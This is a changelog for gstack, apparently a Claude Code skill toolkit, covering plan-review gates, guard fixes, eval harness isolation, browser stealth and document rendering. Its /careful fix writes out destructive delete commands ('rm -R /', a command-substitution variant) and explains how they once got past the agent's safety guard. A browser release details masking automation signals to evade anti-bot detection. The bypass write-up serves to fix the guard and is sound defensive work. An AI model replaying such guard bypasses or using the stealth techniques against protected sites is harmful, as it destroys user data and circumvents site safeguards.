Questions before a plan-mode review starts 1 0

Seeded plan-mode smokes (announcement rendered, no gate question) n/a 2/2 pass

Outside-plan-mode regression runs (gate still asks, bypass never misfires) n/a 4/4 pass

Finding-floor runs with the gate excluded from the count trivially satisfiable 2/2 pass, gate renders don't count

Stochastic smokes wrongly blocking the CI gate lane 4 0

That last row is a repair: four plan-mode/finding-floor smokes were demoted to the weekly tier months ago, but the demotion never took effect — the test files still gated on the blocking lane. They no longer block the gate lane; they run via bun run test:periodic (weekly-cron wiring for PTY tests is tracked in TODOS). A new free invariant test makes the declared-vs-actual tier drift impossible to reintroduce silently.

What this means for you

The plan → review → ship loop loses its most pointless click. Draft a plan, say "/plan-eng-review", and the review starts against your plan immediately — interruptible, announced, and reversible by just naming a different target. Run /gstack-upgrade to get it.

Itemized changes

Added

Plan-mode auto-select in the scope gate (plan-eng-review, plan-design-review): in plan mode the review targets the active plan automatically, with a one-line announcement; explicitly named targets win in any mode; a fresh plan-mode session with nothing drafted still asks. The mode signal is host-anchored — pasted or fetched content claiming plan mode does not arm the bypass.

Render-shape PTY detectors for the scope gate question and the auto-select announcement (test/helpers/claude-pty-runner.ts), with narration-negative and verbatim-quote fixtures so paid smokes can assert gate behavior across a whole run instead of a lossy 2KB tail; observation runs can also track arbitrary consumption tokens (trackTokens).

Tier-alignment invariant test (test/e2e-tier-alignment.test.ts): every self-gated paid test file named in a touchfiles dep list must match its declared tier; unmapped, mixed-tier, and undeclared-key files are reported instead of silently skipped.

Exceptions drift-guard: the two hand-duplicated gate templates must stay identical modulo their two variant slots, and must carry the exact announcement and question strings the PTY detectors pin.

Changed

/autoplan's section skip list now includes the scope gate — loaded review skills no longer surface a hard-stop question that autoplan's auto-decide contract would immediately answer.

The plan-mode preamble wording no longer implies a skill's first action must be a question ("any AskUserQuestion the skill fires is the workflow operating within plan mode" — a skill may legitimately resolve a question itself).

The finding-floor harness no longer counts a scope-gate render toward its question floor (positional anchoring, judge-fallback exclusion) — the floor now genuinely measures finding-driven questions.

Fixed

Four stochastic plan-mode/finding-floor smokes declared periodic were still self-gating on the blocking gate tier — they no longer run in (or block) the gate lane, and the invariant test above prevents declared-vs-actual tier drift from recurring. Weekly-cron wiring for PTY-driven periodic tests is tracked in TODOS.

CI eval containers now register plan-eng-review and plan-design-review as discoverable skills (registration loops, dangling-target checks, and frontmatter verification all extended) — previously only two skills were registered.

The no-op regression suite covers all three plan-review skills outside plan mode, asserts the gate question actually rendered (unconditionally), and proves a pasted named target is consumed via cumulative-buffer token tracking.

/ship's credential pre-push guard now installs correctly from git worktrees after consent — the custom-hooks-path detection compared against the worktree's own git dir instead of the shared common dir, so every Conductor worktree read as "custom hooks path" and skipped the install.

For contributors

Skeleton/ratio ceilings ratcheted with attribution comments (plan-eng 68k/1.10, plan-design 89k, investigate 1.10) for the exceptions block + shared preamble reword.

PlanSkillObservation.outcome now includes wrote_findings_before_asking (was returned at runtime but missing from the union); high-water flags are built once and spread at every return path.

TODOS.md: filed the {{SCOPE_GATE}} shared-resolver extraction as the follow-up to the drift-guarded duplication.

[1.61.0.0] - 2026-07-09

Nine guard bugs fixed in one wave.

Every fix ships with a tripwire that proves the guard actually guards.

This release closes out the silent-failure class across gstack: guards and tools that reported success while doing nothing. Question cards render again on current Claude Code builds. /careful catches chained, substituted, and capital-flag deletes it used to wave through. The design CLI fails loudly on bad flags instead of billing you for a guess. Shared team brains (thin clients) get brain-aware planning instead of silent suppression. Four of the fixes came from community PRs, absorbed with authorship intact and hardened on top.

The six numbers that matter

Source: this branch's diff against v1.58.5.0. Every new test was first run against the unfixed code and confirmed failing, then confirmed passing after the fix.

What Before After

AskUserQuestion on Claude Code 2.1.89+ "Tool result missing due to internal error" card renders

rm -R /, rm -rf $(cmd)/node_modules via /careful silent allow ask

design variants --count abc 0 variants, exit 0 exit 1 with usage hint

Thin-client team brains broken-config, brain blocks suppressed usable, sync stages skip with reason

/office-hours SESSION_COUNT ~2x inflated exact

New tripwire test cases n/a 72

The first row is the one to feel. The question-card primitive every interactive skill depends on was orphaned on current Claude Code builds: the preference hook emitted permissionDecision:'defer', whose semantics became "pause for external resumption" in CC v2.1.89. The fix is a two-branch pass-through (exact-empty stdout, or additionalContext-only output for plan-tune memory nuggets), plus a corrected protocol reference doc so the mistake cannot be re-learned from our own docs.

What this means for you

Interactive skills ask you questions again on current Claude Code. Safety guards fail closed: chained deletes, command substitution, capital -R, and destructive credential phrasings ("reset my secrets") all reach a human now. If your team runs a shared remote brain, /sync-gbrain and brain-aware planning work on thin clients out of the box. Run /gstack-upgrade to get all of it. The hook fix arrives with the file update, no settings change needed.

Itemized changes

Fixed

AskUserQuestion orphaned on Claude Code 2.1.89+ (#2035, #2006). question-preference-hook pass-through is now exit 0 with exactly empty stdout (or additionalContext-only output for plan-tune memory nuggets), never permissionDecision:'defer'. defer() renamed passThrough(); the protocol contract in docs/spikes/claude-code-hook-mutation.md corrected in the same commit; 13 assertions rewritten across 3 test files; the tripwire asserts exact-empty stdout so a garbage write cannot slip past an optional-chained parse. Existing installs pick the fix up via /gstack-upgrade (the registered hook shim execs the TypeScript live).

/careful chained-rm bypass (#2039). Contributed by @jbetala7 (PR #2040): the safe-exception shortcut no longer judges a chained command by its last (safe) target. Hardened on top of the anchored full-command whitelist: the flag cluster accepts capital -R (the BSD/macOS recursive flag — rm -R / warned nowhere before; rm -Rf node_modules alone still allows) and safe-target tokens exclude ( and backtick, so command substitution ending in a whitelisted suffix (rm -rf $(./wipe-all)/node_modules) cannot ride the whitelist.

/context-restore loading a sibling worktree's checkpoint (#2052). Contributed by @jbetala7: restore prefers the current branch's own checkpoint over newer sibling-worktree saves (scans 200 newest, partitions by branch frontmatter), and keeps the Conductor handoff fallback when the branch has no checkpoint.

/sync-gbrain drift re-register on gbrain 0.42+ (#1985). Contributed by @jbetala7: the drift remove passes --confirm-destructive. Hardened on top: the remove routes through the #1734 data-loss guards (refuses loudly while an autopilot runs), propagates --keep-storage, realpath-normalizes drift detection (a symlink alias of the same directory is a match, not drift, the probable cause of the reporter's unmoved-repo drift), and logs old vs new path whenever drift fires.

Developer-profile double counting (#2067). Contributed by @mvann: mode:"resources" bookkeeping rows no longer inflate SESSION_COUNT, TIER, or the builder-to-founder nudge; 8 regression tests pin the tier boundaries from both sides.

One-way-door credential net: plurals + runtime wiring (#2024). The credential nouns now match plurals ("reset my secrets" / "rotate the credentials" classify one-way), and the keyword net is wired into the runtime for the first time: gstack-question-preference --check <id> --summary-stdin pipes the question text (stdin, never argv, so quotes and newlines survive), and the enforcement hook falls back to the classifier for unregistered ids, so an ad-hoc destructive question with a stored never-ask preference can no longer auto-decide.

design CLI silent NaN flags (#2032). --count, --retry, and --timeout share one loud contract via design/src/flag-utils.ts: non-integer input errors with exit 1 ("3.7" is rejected, not truncated), above-max clamps with a stderr warning, and the variants ceiling derives from the style list instead of a magic 7. Previously --retry abc made generate a silent no-op and --timeout abc killed the serve board at boot.

Thin-client brains misclassified as broken (#2051). New thin-client engine state, read from gbrain's own remote_mcp config marker before any probe. Usable at every suppression gate (--is-ok, gen-skill-docs detection, gstack-config gbrain-refresh) while the local sync stages skip with an accurate reason (code indexing runs on the brain server; memory syncs via the remote brain's artifacts pull). The detect JSON reports gbrain_thin_client: {probed: false}: config verified, reachability checked at use time where gbrain calls degrade gracefully. detectMcpMode also recognizes gbrain servers registered under variant names or matched by the config's mcp_url.

Closed as already fixed, with receipts

#1965 (GBRAIN_PREPARE pooler breakage): lib/gbrain-exec.ts:86 never sets it; pinned by test/build-gbrain-env.test.ts:121-142.

#1950 (Windows git-bash learnings silently dropped): bin/gstack-learnings-log:10-15 cygpath fix + stderr surfacing; pinned by test/bin-windows-bun-import-paths.test.ts.

#1964 (slow engines misclassified): probeTimeoutMs() honors GSTACK_GBRAIN_PROBE_TIMEOUT_MS; timeout classifies usable; pinned by test/gbrain-local-status.test.ts.

For contributors

11 bisect commits; 4 community PRs absorbed with authorship preserved. Contributed by @jbetala7 (#2040, #2054, #2031) and @mvann (#1991). Thank you both.

72 new test cases across 9 files, each verified failing against the unfixed code before the fix landed.

Three follow-ups filed in TODOS.md: wire design/test/ into CI (all 8 existing files are invisible to every runner today, plus a documented pre-existing timing flake), /context-save worktree-identity hardening (the #2052 residual), and conditional gbrain reindex-in-place gated on the new drift log.

[1.60.2.0] - 2026-08-07

Three free-suite tests fail-proofed against machine drift.

Plus a filed P1: the suite's exit code can lie, and now we know why.

A full-suite health check turned up three tests that failed on dev machines while CI stayed green, all test-side drift rather than product bugs. The eval:list CLI test now spawns from a neutral directory, so slug detection cannot route reads away from the fixture store it seeds (the old cwd made it fail on any machine with the dev symlink). The benchmark CLI's remediation-hint check is case-insensitive, matching the reworded Gemini guidance ("Export GEMINI_API_KEY..."). The session-runner observability floor now expects the 5 wrapped I/O sites that actually exist since the shell-free spawn removed the prompt-file unlink.

The numbers that matter

Source: this branch's investigation logs (~/.gstack-dev/logs/free-suite-*.log) and per-file reruns.

Check Before After

eval-list-cli on dev machines 1 fail (reads empty project dir) 2/2 pass, deterministic everywhere

benchmark-cli remediation hint 1 fail (case-brittle regex) 15/15 pass

observability check 11 floor expects >= 6 markers, counts 5 floor matches the 5 real sites

One deeper finding got filed instead of rushed: at least five browse test files force-exit the shared bun process with setTimeout(() => process.exit(0), 500), which can exit 0 before the summary prints and mask real failures. That is now a P1 in TODOS.md with receipts, because removing the exits without fixing the handle leaks they paper over would trade silent failure for hangs.

What this means for you

bun test gives the same verdict on your laptop as in CI for these three tests, and the exit-code trust problem is documented with a concrete fix path instead of lurking.

Itemized changes

Fixed

test/eval-list-cli.test.ts: spawn from neutral cwd + absolute script path so getProjectEvalDir() slug probes fail deterministically and the seeded legacy store is read.

test/benchmark-cli.test.ts: remediation-hint pattern made case-insensitive for the updated Gemini NOT-READY message.

test/helpers/observability.test.ts: check 11 floor 6 → 5 with the surviving wrapped-I/O sites named.

For contributors

TODOS.md: new P1 (free-suite exit code masked by in-process force-exits, with repro + receipts) filed under Test infrastructure.

[1.60.1.0] - 2026-07-09

The /autoplan dual-voice eval is back on the board, catching real regressions.

Eval timeouts now return evidence instead of hanging the suite.

The dual-voice eval proves both halves of /autoplan's Phase 1, the Claude review subagent and the Codex outside voice, actually fire. It now registers its skills the way real installs do (project-level .claude/skills/), so it exercises the same slash-command path users hit. Claude Code 2.x resolves slash commands strictly from registered skills, and the eval's old sandbox layout predates that. The eval harness also gained a hard guarantee: when a spawned session hits its timeout, the runner returns everything it collected instead of waiting on orphaned child processes.

The numbers that matter

Source: investigation transcripts and timings in ~/.gstack/projects/garrytan-gstack/e2e-runs/2026-07-10-* plus the new regression test (reproducible: bun test test/session-runner-timeout.test.ts).

Metric Before After

/autoplan session in the eval sandbox 0 turns, "Unknown command" 43+ tool calls, both voices fire

Runner return after a 3s timeout with an orphaned child hung past the 30s test cap 8.1s

Timed-out 600s eval run wall time 1431s (blocked on orphan pipes) returns at timeout + 5s grace

The orphan fix matters beyond one eval: any timed-out claude -p child that leaves a subprocess holding stdout kept the whole suite waiting. Streamed transcript lines now survive the cancel, so assertions run against real evidence even on timeout.

What this means for you

bun run test:evals timeouts fail fast with a transcript instead of silently eating 10+ extra minutes per hung test. And if /autoplan's dual-voice wiring ever breaks, the eval will say so instead of failing for its own reasons.

Itemized changes

Fixed

test/skill-e2e-autoplan-dual-voice.test.ts: sandbox installs /autoplan and its review skills at project level (.claude/skills/), matching real slash-command resolution on Claude Code 2.x; the transcript filter reads raw stream-json shapes (the old entry.type === 'tool_use' filter matched nothing, so assertions only ever saw the final result text); hang protection accepts the Phase 1 review dispatch as progress evidence (full Phase 1 completion takes 15+ minutes of subagent work and belongs to the skill, not the eval); budget raised to 10 min / 40 turns.

test/helpers/session-runner.ts: on spawn timeout, cancel the stdout reader and race the stderr drain against child exit plus a 5s grace window, so orphaned grandchildren cannot hold runSkillTest past bun's per-test timeout. Regression-locked by test/session-runner-timeout.test.ts (fails in 30s without the fix, passes in 8s with it).

For contributors

TODOS.md: filed the periodic-CI coverage decision: evals-periodic.yml runs 9 of ~66 e2e files, so ~57 run only when local diff-selection happens to pick them, which is how this eval rotted unnoticed.

[1.58.5.0] - 2026-06-21

A fresh install now lands on a concrete first move, not a dead end.

gstack reads your repo, hands you the right first skill, and the bare gstack front door routes instead of dumping browse docs.

gstack's first-run experience used to leak: a new user could install, type gstack, and land in a wall of browser-QA documentation regardless of what they wanted. This release makes the front door route, and adds a project-aware first-run scaffold. On the first skill run, gstack detects your repo state (empty repo, a language with code, a feature branch with unshipped work, uncommitted changes) and shows one short, specific suggestion — "there's code here, try /qa" or "unshipped work, /review then /ship" — then continues with whatever you asked. On a returning session it nudges the full plan → review → ship loop once. office-hours now offers to launch the next review for you instead of listing options you have to retype. And the top-level gstack skill is now a pure router: the duplicated browse docs it used to carry live only in /browse.

The numbers that matter

Source: the community-tier telemetry that motivated this work (Supabase frugpmstpnojnhfyimgv, ~23,839 distinct installs, Mar–Jun 2026; rerun the cohort query to reproduce). These are the activation gaps the release targets, not a post-ship result.

Activation signal Measured What it means

Installs that never run any skill ~21% The front door loses 1 in 5 before they start

One-and-done (ran exactly one skill, ever) ~30% Most of the rest don't come back

Bare gstack skill one-and-done rate 40% The worst front door — it dead-ended in browse docs

First-skill → 3-week survival spread 21% (bare gstack) to 39% (ship) Which first skill you land on predicts whether you stay

The success metric is pre-registered, not claimed: rerun the same cohort query at T+6 weeks and look for W0 activation up and one-and-done down, per intervention. No post-ship measurement exists yet.

What this means for builders

If you just installed gstack, your first session points you at something useful for the repo you're actually in, and gstack with no specific ask sends you to the right skill instead of browser docs. Nothing fires in headless/eval runs, and the nudge never interrupts a command you explicitly gave. If the T+6-week numbers don't move, the honest read is that the lever was wording when the real gap is motivation, and the next step is an in-app onboarding flow (logged, not built here).

Itemized changes

Added

First-run project scaffold: bin/gstack-first-task-detect classifies the repo into one of a fixed set of buckets (greenfield, code_<lang> for Node/Python/Rust/Go/Ruby/iOS, branch-ahead, dirty-default, clean-default) using local git + file markers only, with portable timeouts and a fail-safe empty output. The shared preamble maps the bucket to a one-line first-skill suggestion on the first-ever run.

Returning-session loop tip: once past the first run, the preamble nudges plan → review → ship a single time.

Setup first-move nudge: ./setup now prints an intent-routed starting point (idea → /office-hours//spec; existing code → /qa//investigate).

office-hours handoff: the closing step offers to launch the next review (/plan-eng-review by default) via the Skill tool instead of listing options to retype.

Changed

The top-level gstack skill is now a pure router. The browser-QA body it duplicated from /browse is removed; gstack routes any request to the right skill and sends browser/QA work to /browse. The browse skill itself is unchanged.

Activation telemetry event types (onboarding, first_task_scaffold_shown, handoff, route) are accepted by the telemetry ingest path so the funnel can be measured.

For contributors

New unit coverage for every detection bucket plus the eval-safe enum contract and the first-run gating (test/preamble-first-task-scaffold.test.ts), and a periodic E2E that runs the detector through the real harness (test/skill-e2e-first-task-scaffold.test.ts, classified periodic).

Browse-content test assertions (gen-skill-docs, audit-compliance, skill-validation, the LLM-judge eval) repointed from the root skill to browse/SKILL.md to follow the router split; a regression test pins that the router carries no browse body.

Parity / carve-guard size caps bumped ~1–2KB per skill to account for the shared first-run-guidance preamble section.

[1.58.4.0] - 2026-06-18

A community bug-fix wave plus a test-gate that finally sees the questions it was missing.

gbrain writes survive transaction-mode poolers, the redaction engine learns six more secret shapes, dashboards stop lying about zero, and the plan-review smokes detect asks the harness was blind to.

Two things ship here. First, the high-priority community bug wave: gbrain stopped force-enabling GBRAIN_PREPARE on transaction-mode poolers (which broke 100% of writes), a slow-but-healthy probe now classifies as timeout and lets sync proceed instead of silently skipping, the redaction engine gained six credential patterns, telemetry error_message runs through redaction before it leaves the machine, both the security and community dashboards stop reporting a fake 0 when the backend errors, and the Windows git-bash bins resolve their imports. Second, the plan-mode test gate: the real-PTY smokes for /plan-eng-review, /plan-design-review, and /office-hours were timing out on questions the skills had already rendered, because the terminal strips the cursor escapes that lay out the options. A new collapsed-form detector catches the ask in any render, the Haiku state-judge stops coin-flipping on a leftover spinner, and /plan-eng-review + /plan-design-review now confirm what to review before grinding a full audit on an empty repo.

The numbers that matter

From the v1.58.4.0 diff against main and the CI eval matrix (.github/workflows/evals.yml, run 27780530109).

Metric Before After Δ

Credential shapes the redaction engine catches (prior set) +6 (GitLab, HuggingFace, npm, DigitalOcean, Bearer, GCP SA) +6

Dashboards that can print a fake 0 on a backend error 2 0 -2

gstack skills whose gbrain writes break on a 6543 pooler all 0 fixed

PTY plan-mode smokes that timed out on an already-rendered question 3 0 -3

Reliably-green PTY smokes actually gated in CI 0 4 +4

office-hours rendered its mode question at ~2m19s, well under the 300s budget, and the harness still scored the run a timeout because the option lines arrived collapsed (A) as A(recommended), Reply with A, B, or C as ReplywithA,B,orC). The detector now reads both forms; 95 unit tests pin its contract.

What this means for gstack users

If you run gbrain on a Supabase transaction-mode pooler, your writes work again. If you use /ship's pre-push guard, it now fails closed on a git error and catches six more credential types before they leave your machine. If you run /plan-eng-review or /plan-design-review, they ask what to review first instead of spelunking your whole repo. The plan-review test gate stops flaking on its own blind spot. Nothing to do but upgrade.

Itemized changes

Fixed

gbrain on transaction-mode poolers: removed the forced GBRAIN_PREPARE=true that deterministically broke writes on port-6543 poolers (#1965). An explicit user-set GBRAIN_PREPARE still passes through.

gbrain probe timeout: a probe that exceeds its deadline classifies as its own timeout status (15s default, GSTACK_GBRAIN_PROBE_TIMEOUT_MS-overridable); sync proceeds with a warning instead of silently suppressing brain features for a slow-but-healthy engine (#1964).

Security + community dashboards: backend errors now surface as "unknown — backend error" (or a 503), never a fake 0; success responses carry a status:"ok" marker so legacy backends are flagged "unverified" (#1947).

Telemetry: error_message passes through the redaction engine at log time; on a redactor failure it fails closed to null (#1947).

Windows git-bash: gstack-learnings-log and gstack-question-log cygpath-normalize $SCRIPT_DIR so their bun -e imports resolve; learnings-log surfaces validation errors instead of swallowing them (#1950).

gstack-question-log: shares the audited injection-pattern list from lib/jsonl-store.ts instead of a local duplicate (#1934).

Pre-push guard: fails closed when the diff cannot be computed (git failure / maxBuffer kill), with a GSTACK_REDACT_PREPUSH=skip escape valve (#1946).

PTY plan-mode smokes: the harness detects a rendered AskUserQuestion even when stripAnsi collapses the option lines (markdown bold-bullet and lettered/numbered prose forms); the Haiku state-judge classifies WAITING when a question + reply-instruction is on screen despite an animating spinner. Fixes the office-hours, plan-eng, and plan-design plan-mode smokes that timed out on questions already displayed.

ios-qa E2E: isolated under bun test --concurrent (per-test work dirs, daemon paths passed as options not process-global env, afterAll cleanup) — fixes 3 real races.

Added

Six credential patterns in the redaction engine: GitLab tokens, HuggingFace, npm, DigitalOcean, Bearer (entropy-gated), and GCP service-account JSON (#1946).

Ask-first scope gate in /plan-eng-review and /plan-design-review: the first action confirms the review target (branch diff / pasted plan / specific path) before any repo exploration or audit.

/ship owns the pre-push guard install: silent auto-install when the repo opts in, a one-time offer otherwise (#1946).

For contributors

New collapsed-form prose-AUQ detector + judge spinner-precedence rule in test/helpers/claude-pty-runner.ts; 95 unit tests pin the two-signal contract.

The PTY model now pins to EVALS_MODEL ?? claude-sonnet-4-6 (mirrors session-runner.ts), removing operator-model nondeterminism from the smokes.

Stochastic ask-first smokes (plan-eng/plan-design plan-mode + finding-floor) reclassified periodic per the non-deterministic-tests rule; the deterministic ones (office-hours, plan-mode-no-op) now run in CI via a new e2e-pty-plan-smoke matrix suite with an in-container skill-registry install step.

redactFindingSpans() is the machine-egress redaction entry point in lib/redact-engine.ts.

[1.58.3.0] - 2026-06-18

GBrowser masks the full set of automation tells by default, on every path a page can reach.

Layer C stealth is always on, carries a per-install hardware identity, and survives the toString depth-3 trick.

GBrowser's headless and headed Chromium now ship "Layer C" anti-detection by default, with no opt-in flag. Where the old default masked only navigator.webdriver, the browser now also restores the full window.chrome.* shape (runtime, app, csi, loadTimes), aligns Notification.permission with the Permissions API, reports a per-install hardwareConcurrency/deviceMemory from the host profile, sweeps the known Selenium/Phantom/Nightmare/Playwright globals, and installs a Function.prototype.toString proxy so every patched getter reports [native code] even under the depth-3 recursion check. The aggressive GSTACK_STEALTH=extended mode (WebGL spoof, faked plugins, mediaDevices) still exists, now layered on top of Layer C rather than replacing it. And stealth applies on all four context-creation paths, so a useragent change, a viewport --scale, or a headless-to-headed handoff hands a site a fully masked page every time.

The numbers that matter

Source: bun test browse/test/stealth-layer-c.test.ts browse/test/stealth-webdriver.test.ts browse/test/stealth-extended.test.ts browse/test/browser-manager-unit.test.ts (80 tests, real Chromium for the runtime checks).

Capability Before (v1.58.1.0) After (v1.58.3.0)

Automation tells masked by default 1 (navigator.webdriver) 7 categories (webdriver, window.chrome.*, Notification, per-install hardware, toString-native, automation-global sweep, cdc/Permissions)

Context paths that apply stealth 2 (launch, launchHeaded) 4 (+ handoff, + recreateContext)

toString integrity not addressed survives the depth-3 [native code] check

Hardware identity generic Chromium default per-install, from the host profile

Stealth tests none dedicated 80 passing (incl. real-Chromium runtime)

By default the browser now masks seven categories of automation tell instead of one, on every path a page can reach, not just the first launch.

What this means for builders

If you drive GBrowser to dogfood, scrape, or QA against anti-bot-protected targets, your sessions look like a real per-install Chrome out of the box. There is no GSTACK_STEALTH flag to remember, and no silent gap where a routine useragent or viewport --scale strips the mask. For gbrowser builds with the Pack 1 C++ patches, set the GSTACK_* host-profile env (gbd does this) to push the GPU/UA-CH/hardware spoof down to native code; on stock Playwright Chromium the same call is a safe no-op.

Itemized changes

Added

Always-on Layer C stealth (buildStealthScript): webdriver mask, window.chrome.{runtime,app,csi,loadTimes} shape, Notification.permission alignment, per-install hardwareConcurrency/deviceMemory, a Function.prototype.toString proxy that holds up under the depth-3 [native code] check, and a static sweep of Selenium/Phantom/Nightmare/Playwright globals.

buildGStackLaunchArgs: per-install --gstack-* cmdline switches (GPU vendor/renderer, UA-CH platform/model, hardware concurrency/memory) for gbrowser's Pack 1 C++ patches, emitted only when the matching GSTACK_* env is set so stock Chromium is unaffected.

Real-Chromium runtime coverage: webdriver, chrome.* shape, Notification/Permissions pairing, toString depth-3, per-install hardware, and the extended-mode blend (80 stealth tests).

Changed

Stealth applies on every context-creation path (launch, launchHeaded, handoff, recreateContext), so a useragent, viewport --scale, or handoff keeps the full mask.

The cdc_/__webdriver cleanup and the Permissions notifications shim live in applyStealth, so headless and handoff get the same Notification.permission/permissions.query consistency as the headed path.

GSTACK_STEALTH=extended layers on top of Layer C; the always-on default does not fake navigator.plugins (the opt-in mode still does, as the documented "may break sites" escape hatch).

--gstack-suppress-prepare-stack-trace is opt-in via GSTACK_CDP_STEALTH=on, so the switch never reaches a Chromium that does not understand it.

--disable-blink-features=AutomationControlled comes from one shared STEALTH_LAUNCH_ARGS constant across every launch path.

[1.58.1.0] - 2026-06-14

Local evals stop lying. Spawned claude test children run in a sealed clean room,

and in Conductor every decision is a plain-text brief you answer with a letter.

Two things shipped here. First, the local E2E harness is now hermetic by default: every spawned agent (claude -p, the real-PTY plan-mode runner, the Agent SDK runner, plus the codex and gemini runners) gets an allowlist-scrubbed environment, a fresh seeded CLAUDE_CONFIG_DIR, a temp GSTACK_HOME, and --strict-mcp-config. Before this, a dev machine leaked the operator's ~/.claude config, MCP servers (gbrain, Conductor), skills, ~/.gstack decision logs, and CONDUCTOR_*/CLAUDECODE env into every child, so local eval results disagreed with CI for reasons that had nothing to do with the code under test. Now local signal matches CI. Set EVALS_HERMETIC=0 to debug against real operator state.

Second, in a Conductor session gstack no longer fights Conductor's flaky AskUserQuestion tool. It detects the session and renders every decision as a prose brief, a labeled question with a recommendation, per-option completeness scores, and "reply with a letter," enforced by a PreToolUse hook that denies the tool and redirects to prose. Destructive confirmations demand an explicit typed answer.

Agents that launch long eval runs get gstack-detach: a SIGTERM-proof, idle-sleep-proof wrapper (fresh session + caffeinate) with a machine-wide lock so concurrent worktrees serialize instead of saturating the model API, run-scoped logs, and a guaranteed EXIT= sentinel so a poller never mistakes silence for success.

The numbers that matter

Measured against the gate eval suite on a contaminated dev box (gbrain MCP up, live Conductor session, sibling worktrees). Reproduce: bun test (free unit + wiring tripwire) and EVALS=1 EVALS_TIER=gate bun test test/skill-e2e-hermetic-canary.test.ts.

Metric Before After Δ

Spawned-child env full operator process.env allowlist-scrubbed sealed

Runners hermeticized 0 of 5 5 of 5 +5

Operator MCP servers visible to child all (gbrain, Conductor) 0 (--strict-mcp-config) isolated

Config isolation proof none poisoned-operator sentinel canary falsifiable

Long eval runs surviving a turn-boundary SIGTERM no yes (gstack-detach) survives

The clean room is falsifiable, not asserted: a hermetic-sentinel gate canary plants a poisoned operator config (a user CLAUDE.md + an MCP server) and fails if the child can see any of it, and a free static tripwire fails CI if any runner reverts to a raw process.env spread.

What this means for contributors

Run evals locally and trust the result. You no longer have to push to CI to find out whether a failure was real or just your machine bleeding context into the agent. Three latent bugs the old harness hid surfaced the moment the suite ran clean and are fixed: a coverage-judge that scored carved skills against half a document, an ios-qa daemon test that collided on a shared pidfile under concurrency, and an operational-learning fixture missing a lib it imports. Start a run with bun run eval:bg:gate; flip EVALS_HERMETIC=0 only when you deliberately want your real ~/.claude in the loop.

Itemized changes

Added

Hermetic E2E environment (test/helpers/hermetic-env.ts): allowlist env builder (process basics, network/proxy vars, named ANTHROPIC_* auth, per-runner extraAllow), pure promotedEnv() shared with lib/conductor-env-shim.ts, a sync-memoized singleton temp dir (<runRoot>/.claude keeps the plan-file path contract), a seeded .claude.json for non-interactive first run, and pid-aware GC of crashed runs. Default-on; EVALS_HERMETIC=0 restores the legacy env AND drops --strict-mcp-config.

Two gate-tier isolation canaries (test/skill-e2e-hermetic-canary.test.ts): hermetic-canary asserts env redirect + scrub + zero MCP servers + nonzero API-key cost from the Bash tool_result (not model prose); hermetic-sentinel proves the child cannot see a planted poisoned operator config.

Static wiring tripwire (test/hermetic-wiring.test.ts): free-tier invariants that fail CI if any of the five runners drops hermeticChildEnv(), the gated --strict-mcp-config, or leaks process.env through a callsite override.

gstack-detach + eval:bg / eval:bg:all / eval:bg:gate / eval:bg:periodic scripts: detached, SIGTERM-proof, caffeinate-wrapped eval runs with a machine-wide lock, per-run logs under ~/.gstack-dev/eval-runs/, a watchdog, and an EXIT= sentinel.

Conductor prose AskUserQuestion: when a Conductor session is detected, every decision renders as a prose brief (labeled question, recommendation, per-option completeness, reply-with-a-letter), enforced by a PreToolUse hook that denies the tool and redirects. Auto-decide preferences still apply first; destructive confirmations require an explicit typed answer. Installed for Conductor even in non-interactive setup, with an upgrade migration for existing installs.

Changed

All five E2E runners (session-runner, claude-pty-runner, agent-sdk-runner, codex-session-runner, gemini-session-runner) spawn children through hermeticChildEnv(). The Agent SDK runner now receives a COMPLETE hermetic env via Options.env (the old "never pass env: to the SDK" rule was partial-env replacement; a complete env is safe).

hermetic-env.ts is a global touchfile, so any change to it selects every E2E + judge test.

CLAUDE.md documents hermetic-by-default local evals and retires the stale SDK env warning.

Fixed

The workflow LLM-judge now re-appends body-carved sections/*.md after the marker slice, so carved skills (document-release) are judged on the full workflow the agent executes instead of a half-document.

ios-qa daemon scenarios use unique pidfiles, fixing already_running collisions under bun test --concurrent.

[1.58.0.0] - 2026-06-12

Your documents grow diagrams. Mermaid and excalidraw fences render as real pictures,

and make-pdf now ships single-file HTML and Word output from the same markdown.

Put a ```mermaid fence in your markdown and make-pdf renders it as a crisp vector diagram, fully offline, with the source preserved for round-trips. A broken fence prints a loud red diagnostic block with the parse error, never silent raw code. The new /diagram skill goes the other way: describe a flow in English and get a triplet back, the mermaid source, an editable .excalidraw file you can open at excalidraw.com in the hand-drawn style, and rendered SVG + PNG. Images got the same care: local paths inline automatically and never truncate, phone photos downscale to print resolution instead of blowing up the file, and a wide small-text diagram promotes itself onto a vertically centered landscape page inside an otherwise portrait document. One markdown file now exports three ways: --to pdf | html | docx, where html is one self-contained file with zero network references. Type is bigger across the board (12pt body, 56pt cover titles), TOC links actually jump, and --strict turns missing, remote, out-of-tree, or oversized images into hard CI failures.

The numbers that matter

Measured on this repo's README (5,940 words, lists, code, screenshots, one diagram fence) and the free gate suite. Reproduce: make-pdf generate README.md --cover --toc and bun test make-pdf/test/.

Metric Before After Δ

A mermaid fence in your PDF raw code block vector diagram rendered

Output formats from one markdown 1 (pdf) 3 (pdf, html, docx) +2

Network requests at render time up to 1 per remote image 0 by default sealed

Wide-diagram handling shrunk into portrait own centered landscape page rotated

Free make-pdf gate tests 121 189 +68

README → 29-page PDF with diagram n/a 4.4s one command

The sealed-network number is the one to notice: the mermaid and excalidraw runtimes are vendored into a 9.2MB sha-pinned bundle, so rendering works on a plane and a tracking pixel in pasted markdown fetches nothing.

What this means for your documents

The diagram you describe in English stays editable forever: /diagram writes the source, you embed the source in markdown, and every export renders it fresh. Stop pasting screenshots of diagrams into documents. Run /diagram for the picture, ```mermaid for the document, and --to html when the reader doesn't want a PDF.

Itemized changes

Added

```mermaid and ```excalidraw fences render as inline vector SVG in pdf and html output (docx embeds them as 300dpi PNGs). Fence options: title="..." (caption + aria-label), render=false (keep as code), page=landscape|portrait (orientation override). Render failures produce a visible diagnostic block with the parse error.

/diagram skill: English in, editable triplet out (.mmd source, .excalidraw scene, SVG + PNG). Flowcharts convert to fully editable excalidraw scenes; other mermaid types render with an explicit limitation note.

lib/diagram-render/: vendored offline bundle (mermaid 11.12.2, excalidraw 0.18.0, exact pins), deterministic build, committed dist with sha256 + source fingerprint, drift tests, THIRD-PARTY-LICENSES.

--to pdf|html|docx output formats. HTML is one self-contained file (inline SVG diagrams, data-URI images, zero network refs, screen-readable). DOCX is a content-fidelity export with diagrams embedded as 300dpi PNGs and alt text.

Per-image directives: ![x](a.png){width=full|50%|3in} and {page=landscape|portrait}.

